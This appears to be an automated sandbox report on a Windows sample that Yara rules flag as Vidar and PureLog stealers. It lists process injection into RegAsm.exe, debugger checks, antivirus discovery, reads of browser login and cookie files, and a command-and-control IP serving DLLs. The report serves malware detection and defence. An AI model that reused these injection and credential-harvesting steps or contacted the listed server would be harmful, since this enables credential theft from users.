Source: RegAsm.exe, 00000001.00000002.2881580352.00000000031A5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwarer

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

API call chain: ExitProcess graph end node

graph_1-80722

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_004183AF memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

1_2_004183AF

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

1_2_00416676

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

1_2_004041D4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_004183AF memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_004183AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0041D468 SetUnhandledExceptionFilter,	1_2_0041D468
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_004198D7 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_004198D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B4942AF SetUnhandledExceptionFilter,	1_2_1B4942AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B492C8E IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_1B492C8E

Source: C:\Users\user\Desktop\file.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_02D69741 CreateProcessA,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,

0_2_02D69741

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Jump to behavior

Searches for specific processes (likely to inject)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_004101A9 _EH_prolog,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

1_2_004101A9

Writes to foreign memory regions

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 421000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 42E000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 641000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 878008	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: _EH_prolog,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,	1_2_0040ECD4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	1_2_1B492112
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	1_2_1B492112
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	1_2_1B66FF17
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	1_2_1B683300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	1_2_1B493AA3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	1_2_1B682D38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	1_2_1B682DF9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	1_2_1B682CB6

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_0040FB47 _EH_prolog,GetSystemTime,

1_2_0040FB47

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_0040EBBA GetProcessHeap,HeapAlloc,GetUserNameA,

1_2_0040EBBA

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_0040EC81 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

1_2_0040EC81

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: RegAsm.exe, 00000001.00000002.2881326562.0000000000E72000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected PureLog Stealer

Source: Yara match	File source: file.exe, type: SAMPLE
Source: Yara match	File source: 0.0.file.exe.9a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1628578580.00000000009A2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Vidar stealer

Source: Yara match	File source: 1.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.3d65570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.3d65570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1632108400.0000000003D65000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3228, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5816, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 5816, type: MEMORYSTR

Remote Access Functionality

Yara detected PureLog Stealer

Source: Yara match	File source: file.exe, type: SAMPLE
Source: Yara match	File source: 0.0.file.exe.9a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1628578580.00000000009A2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Vidar stealer

Source: Yara match	File source: 1.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.3d65570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.3d65570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1632108400.0000000003D65000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3228, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5816, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B50DB10 sqlite3_initialize,sqlite3_bind_int64,sqlite3_step,sqlite3_column_bytes,sqlite3_column_blob,sqlite3_reset,sqlite3_free,sqlite3_free,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_free,	1_2_1B50DB10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B535910 sqlite3_mprintf,sqlite3_bind_int64,	1_2_1B535910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B5BD9E0 sqlite3_bind_int64,sqlite3_log,sqlite3_log,sqlite3_log,sqlite3_bind_int64,sqlite3_log,sqlite3_log,sqlite3_log,	1_2_1B5BD9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B50DFC0 sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_mprintf,sqlite3_bind_text,sqlite3_step,sqlite3_reset,	1_2_1B50DFC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B511FE0 sqlite3_mprintf,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	1_2_1B511FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B4A5C70 sqlite3_prepare_v3,sqlite3_bind_int64,sqlite3_step,sqlite3_column_value,sqlite3_result_value,sqlite3_reset,	1_2_1B4A5C70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B54D3B0 sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	1_2_1B54D3B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B5351D0 sqlite3_mprintf,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	1_2_1B5351D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B529090 sqlite3_reset,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_errmsg,sqlite3_mprintf,	1_2_1B529090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B56D610 sqlite3_free,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	1_2_1B56D610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B5355B0 sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	1_2_1B5355B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B5B14D0 sqlite3_bind_int64,sqlite3_log,sqlite3_log,sqlite3_log,	1_2_1B5B14D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B5BD4F0 sqlite3_bind_value,sqlite3_log,sqlite3_log,sqlite3_log,	1_2_1B5BD4F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B4A4820 sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,sqlite3_reset,sqlite3_initialize,	1_2_1B4A4820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B4C0FB0 sqlite3_result_int64,sqlite3_result_double,sqlite3_result_int,sqlite3_prepare_v3,sqlite3_bind_int64,sqlite3_step,sqlite3_column_value,sqlite3_result_value,sqlite3_reset,	1_2_1B4C0FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B574D40 sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,sqlite3_reset,InitOnceBeginInitialize,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_free,	1_2_1B574D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B508200 sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,sqlite3_bind_int64,sqlite3_step,sqlite3_column_int,sqlite3_reset,	1_2_1B508200
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B4E06E0 sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,	1_2_1B4E06E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B4B8680 sqlite3_mprintf,sqlite3_mprintf,sqlite3_initialize,sqlite3_finalize,sqlite3_free,sqlite3_mprintf,sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_int64,	1_2_1B4B8680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B4E8550 sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,sqlite3_reset,	1_2_1B4E8550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B553770 sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	1_2_1B553770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B5737E0 sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	1_2_1B5737E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B4BB400 sqlite3_mprintf,sqlite3_mprintf,sqlite3_free,sqlite3_bind_value,sqlite3_reset,sqlite3_step,sqlite3_reset,sqlite3_column_int64,	1_2_1B4BB400
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B4EEF30 sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_result_error_code,	1_2_1B4EEF30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B4FE200 sqlite3_initialize,sqlite3_free,sqlite3_bind_int64,sqlite3_bind_blob,sqlite3_step,sqlite3_reset,	1_2_1B4FE200
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B50E170 sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	1_2_1B50E170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B4FE090 sqlite3_bind_int64,sqlite3_bind_value,sqlite3_step,sqlite3_reset,	1_2_1B4FE090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B4A66C0 sqlite3_mprintf,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_bind_int64,sqlite3_bind_null,sqlite3_bind_blob,sqlite3_bind_value,sqlite3_free,sqlite3_bind_value,sqlite3_step,sqlite3_reset,	1_2_1B4A66C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B50A6F0 sqlite3_mprintf,sqlite3_mprintf,sqlite3_mprintf,sqlite3_free,sqlite3_bind_value,	1_2_1B50A6F0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	511 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	44 System Information Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	141 Security Software Discovery	SSH	Keylogging	13 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	31 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	31 Virtualization/Sandbox Evasion	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	511 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	63%	ReversingLabs	Win32.Trojan.Privateloader
file.exe	42%	Virustotal		Browse
file.exe	100%	Avira	HEUR/AGEN.1323756
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sqlx[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sqlx[1].dll	1%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
bg.microsoft.map.fastly.net	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://65.108.152.56:9000/nss3.dllData	0%	Avira URL Cloud	safe
https://65.108.152.56:9000	0%	Avira URL Cloud	safe
https://65.108.152.56:9000/mozglue.dll	0%	Avira URL Cloud	safe
https://store.steampowered.comv	0%	Avira URL Cloud	safe
https://65.108.152.56:9000/vcruntime140.dll	0%	Avira URL Cloud	safe
https://65.108.152.56:9000/nss3.dll	0%	Avira URL Cloud	safe
https://65.108.152.56:9000/nss3.dllft	0%	Avira URL Cloud	safe
https://65.108.152.56:9000/softokn3.dllessionKeyBackward	0%	Avira URL Cloud	safe
https://65.108.152.56:9000/nss3.dllU	0%	Avira URL Cloud	safe
https://65.108.152.56:9000/freebl3.dll	0%	Avira URL Cloud	safe
https://65.108.152.56:9000el	0%	Avira URL Cloud	safe
https://65.108.152.56:9000/o	0%	Avira URL Cloud	safe
https://65.108.152.56:9000/W	0%	Avira URL Cloud	safe
https://65.108.152.56:9000/msvcp140.dllt	0%	Avira URL Cloud	safe
https://65.108.152.56:9000	0%	Virustotal		Browse
https://65.108.152.56:9000/G	0%	Avira URL Cloud	safe
https://65.108.152.56:9000/D	0%	Avira URL Cloud	safe
https://65.108.152.56:9000/soft	0%	Avira URL Cloud	safe
https://65.108.152.56:9000/softokn3.dll	0%	Avira URL Cloud	safe
https://65.108.152.56:9000softokn3.dlldge	0%	Avira URL Cloud	safe
https://65.108.152.56:9000/	0%	Avira URL Cloud	safe
https://65.108.152.56:9000/7	0%	Avira URL Cloud	safe
https://65.108.152.56:9000/dZ	0%	Avira URL Cloud	safe
https://65.108.152.56:9000/W	9%	Virustotal		Browse
https://65.108.152.56:9000/mozglue.dllEdge	0%	Avira URL Cloud	safe
https://65.108.152.56:9000ing	0%	Avira URL Cloud	safe
https://65.108.152.56/	0%	Avira URL Cloud	safe
https://65.108.152.56:9000/sqlx.dllg	0%	Avira URL Cloud	safe
https://65.108.152.56:9000/vcruntime140.dll_7)	0%	Avira URL Cloud	safe
https://65.108.152.56:9000lGoogle	0%	Avira URL Cloud	safe
https://65.108.152.56:9000/	0%	Virustotal		Browse
https://65.108.152.56:9000/freebl3.dll4	0%	Avira URL Cloud	safe
https://65.108.152.56:9000l	0%	Avira URL Cloud	safe
https://65.108.152.56:9000/ng	0%	Avira URL Cloud	safe
https://65.108.152.56/	0%	Virustotal		Browse
https://65.108.152.56:9000/msvcp140.dll	0%	Avira URL Cloud	safe
https://65.108.152.56:9000/D	7%	Virustotal		Browse
https://65.108.152.56:9000e1a3fmium	0%	Avira URL Cloud	safe
https://65.108.152.56:9000/L~	0%	Avira URL Cloud	safe
https://65.108.152.56:9000/sqlx.dll	0%	Avira URL Cloud	safe
https://65.108.152.56:9000/sqlx.dllg	9%	Virustotal		Browse
https://65.108.152.56:9000/sqlx.dll	4%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	0%, Virustotal, Browse	unknown
steamcommunity.com	104.105.90.131	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://steamcommunity.com/profiles/76561199680449169	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	IEHJJE.1.dr	false		high
https://duckduckgo.com/ac/?q=	IEHJJE.1.dr	false		high
https://steamcommunity.com/?subsection=broadcasts	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	false		high
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	false		high
https://store.steampowered.comv	RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://65.108.152.56:9000/mozglue.dll	RegAsm.exe, 00000001.00000002.2881273063.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://65.108.152.56:9000	76561199680449169[1].htm.1.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://store.steampowered.com/subscriber_agreement/	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	false		high
https://65.108.152.56:9000/vcruntime140.dll	RegAsm.exe, 00000001.00000002.2881326562.0000000000EA4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=engli	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	false		high
https://community.cloudflare.steamstatic.com/public/javascript/promo/stickers.js?v=GfA42_x2_aub&	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	false		high
https://65.108.152.56:9000/nss3.dllData	RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpE	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	false		high
http://www.valvesoftware.com/legal.htm	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	false		high
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/main.js?v=roSu	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17rer.exe	RegAsm.exe, 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmp	false		high
https://65.108.152.56:9000/nss3.dll	RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2881326562.0000000000EA4000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://65.108.152.56:9000/nss3.dllft	RegAsm.exe, 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	false		high
https://65.108.152.56:9000/softokn3.dllessionKeyBackward	RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://65.108.152.56:9000/nss3.dllU	RegAsm.exe, 00000001.00000002.2881415199.0000000000F95000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
